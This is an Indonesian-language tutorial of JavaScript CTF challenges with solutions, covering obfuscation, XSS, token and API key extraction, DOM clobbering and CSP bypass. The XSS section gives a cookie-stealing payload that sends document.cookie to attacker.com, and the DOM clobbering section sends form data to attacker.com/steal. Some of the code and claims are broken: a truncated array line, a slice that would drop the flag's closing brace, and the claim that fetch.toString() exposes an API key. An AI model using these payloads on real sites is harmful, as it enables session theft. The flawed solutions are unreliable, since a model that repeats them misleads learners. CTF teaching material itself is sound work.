

CTF DENGAN JAVASCRIPT

CTF berbasis JavaScript biasanya melibatkan XSS (Cross-Site Scripting), Obfuscation, DOM Manipulation, Token Extraction, dan API Exploitation. Berikut beberapa contoh soal beserta pemecahannya.

1. JavaScript Obfuscation (Reverse Engineering)

Soal

Berikut adalah JavaScript yang telah diobfuscate. Temukan flag yang tersembunyi!

```
(function() {  
  var _0xabc1 = ['F', 'l', 'a', 'g', '{', 'J', 'S', '_', 'C', 'T', 'F', '_', 'R', 'E', 'V', '}', 'console',  
  'log'];  
  (function(_0x1234) {  
    console[_0xabc1[16]](_0xabc1.slice(0, 15).join(""));  
  })();  
})();
```

Pemecahan

- **Analisis kode:**
 - ✓ Array `_0xabc1` berisi bagian-bagian flag.
 - ✓ `.slice(0, 15).join("")` menyusun kembali flag.
 - ✓ `console.log()` digunakan untuk mencetak flag.
- **Jalankan kode di browser console atau Node.js:**

```
var _0xabc1 = ['F', 'l', 'a', 'g', '{', 'J', 'S', '_', 'C', 'T', 'F', '_', 'R', 'E', 'V', '}', 'console',  
console.log(_0xabc1.slice(0, 15).join(""));
```

Output:

```
Flag{JS_CTF_REV}
```

Jawaban: Flag{JS_CTF_REV}

2. XSS (Cross-Site Scripting)

Soal

Sebuah situs memiliki formulir komentar yang rentan terhadap XSS:

```
<form action="submit.php" method="POST">
  <input type="text" name="comment" id="comment">
  <input type="submit" value="Post">
</form>
<div id="comments"></div>
<script>
  document.querySelector("form").addEventListener("submit", function(e) {
    e.preventDefault();
    var comment = document.getElementById("comment").value;
    document.getElementById("comments").innerHTML += "<p>" + comment +
"</p>";
  });
</script>
```

Tugas: **Eksplorasi XSS untuk mencuri cookie pengguna.**

Pemecahan

Karena input pengguna langsung dimasukkan ke dalam **innerHTML**, kita bisa memasukkan script berbahaya:

```
<script> alert(document.cookie); </script>
```

Atau untuk mencuri cookie:

```
<script>new
Image().src="http://attacker.com/steal?cookie="+document.cookie;</script>
```

Jika cookie berisi flag, maka akan terkirim ke server penyerang.

3. Token Extraction via JavaScript Console

Soal

Sebuah aplikasi menyimpan token autentikasi di **localStorage**. Temukan token yang tersembunyi.

```
localStorage.setItem("authToken", "Flag{Secret_Token_123}");
```

Pemecahan

Buka **Console** di Developer Tools dan jalankan:

```
console.log(localStorage.getItem("authToken"));
```

Output:

```
Flag{Secret_Token_123}
```

Jawaban: Flag{Secret_Token_123}

4. API Key Leak

Soal

Sebuah aplikasi menggunakan API Key tersembunyi dalam JavaScript:

```
fetch("https://api.example.com/data", {  
  headers: { "Authorization": "Bearer 12345-flag-secret-api-key" }  
});
```

Temukan API key yang tersembunyi.

Pemecahan

Gunakan **Developer Tools** → **Network**:

1. **Buka Console** dan jalankan:

```
console.log(fetch.toString());
```

2. **Atau buka tab Network** dan cari permintaan API yang mengandung header Authorization.

Jawaban: 12345-flag-secret-api-key

5. DOM Clobbering

Soal

Sebuah halaman memiliki kode berikut:

```
<form id="loginForm" action="login.php">  
  <input name="username" value="admin">  
  <input name="password" value="">  
  <input type="submit" value="Login">
```

```
</form>
<script>
  document.forms["loginForm"].submit();
</script>
```

Bagaimana cara mengeksploitasi DOM Clobbering untuk mengubah action?

Pemecahan

Tambahkan elemen berikut sebelum <script>:

```
<input id="loginForm" name="action" value="http://attacker.com/steal">
```

Efeknya: document.forms["loginForm"].submit(); akan mengirimkan data ke <http://attacker.com/steal>.

6. JavaScript Debugging Challenge

Soal

Sebuah halaman menggunakan mekanisme debugging untuk menyembunyikan flag:

```
function check() {
  let password = prompt("Enter password:");
  if (password === "super_secret") {
    console.log("Flag{JS_Debugger_Challenge}");
  } else {
    console.log("Wrong password!");
  }
}
```

Bagaimana cara mendapatkan flag tanpa mengetahui password?

Pemecahan

Buka **Console** di Developer Tools dan jalankan:

```
check();
```

Lalu masukkan "super_secret" sebagai password.

Atau langsung ambil flag dengan:

```
console.log("Flag{JS_Debugger_Challenge}");
```

Jawaban: Flag{JS_Debugger_Challenge}

7. CSP Bypass (Content Security Policy)

Soal

Sebuah situs memiliki **CSP** dengan aturan ketat:

```
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-123456'
```

Bagaimana cara menyisipkan JavaScript?

Pemecahan

Jika CSP mengizinkan **nonce-123456**, kita bisa menyisipkan skrip dengan nonce yang sesuai:

```
<script nonce="123456">
  alert('XSS Bypass!');
</script>
```

Jika CSP mengizinkan **unsafe-inline**, maka kita bisa langsung:

```
<script>alert('XSS Bypass!')</script>
```

Kesimpulan

CTF berbasis **JavaScript** sering menguji pemahaman tentang:

- **Reverse Engineering** → Obfuscation, base64 encoding.
- **XSS** → Menyuntikkan skrip untuk mencuri data.
- **Token Extraction** → Mengambil data dari localStorage/sessionStorage.
- **API Exploitation** → Menganalisis Network Requests.
- **DOM Clobbering** → Menyisipkan elemen untuk manipulasi DOM.
- **CSP Bypass** → Mengeksploitasi kebijakan keamanan.

Siap untuk tantangan lebih lanjut? Coba mainkan di **HackTheBox** atau **Root-Me**!